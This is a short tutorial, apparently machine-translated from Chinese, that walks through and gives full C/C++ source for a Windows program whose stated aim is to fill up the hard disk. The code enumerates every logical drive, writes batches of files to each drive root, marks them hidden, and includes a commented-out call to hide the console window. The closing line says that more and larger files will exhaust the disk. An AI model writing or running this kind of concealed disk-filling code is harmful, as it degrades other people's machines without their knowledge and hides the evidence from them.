C/C++ easily writes programs that can fill up the hard disk

About writing a program that can fill up the hard disk

Let’s think about the idea first:

Step 1: Get the logical drive letter

Step 2: Create the file

Step 3: Write data to the file

Extension requirements:

1: Hide the window

2: Set the file to hidden attributes

Let’s introduce an API for the above ideas and give the source code after accepting it

GetLogicalDriveStrings function

Fills a buffer with strings that specify valid drives in the system.

DWORD WINAPI GetLogicalDriveStrings(  
  _In_  DWORD  nBufferLength,  
  _Out_ LPTSTR lpBuffer  
);

This function reads the available disks in the system into lpBuffer

Success Then the total length obtained is returned.

There are two cases of failure: one is that the buffer is not long enough, and the other is other problems.

Regarding other API functions, both It is relatively simple. Some functions can be known from the meaning of the name. I will not introduce them here. There are also comments in the source code.

Look at the source code below

#include <Windows.h>  
  
int main()  
{  
    //FreeConsole();    //隐藏控制台  
  
    char strDriveStrings[MAXBYTE] = { 0 };  
  
    //获取逻辑地址  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符               
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy_s(strRoot,&strDriveStrings[i], 4);  
        strcpy_s(strTargetPath, strRoot);  
  
        //创建100个文件  
        for (int j = 0; j < 100; j++)  
        {  
            char TempStrTargetPath[MAX_PATH];  
            strcpy_s(TempStrTargetPath, strTargetPath);  
            char FileName[MAXBYTE];  
            char Date[MAXBYTE] = "11111";  
            wsprintf(FileName, "%d.txt", j);  
            strcat_s(TempStrTargetPath, FileName);  
  
            //创建文件  
            HANDLE hFile;  
            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
            if (hFile == INVALID_HANDLE_VALUE)  
                continue;  
            DWORD Pointer;  
  
            //写入数据  
            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);  
            CloseHandle(hFile);  
  
            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值  
            memset(FileName, 0, sizeof(FileName));  
  
            //设置为隐藏  
            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        }  
          
    }  
    return 0;  
}

Set the file browsing properties:

The running results are as follows:

If the following problems occur:

Modify the character set as follows:

So as long as you create a few more files and more data, the hard disk will be filled up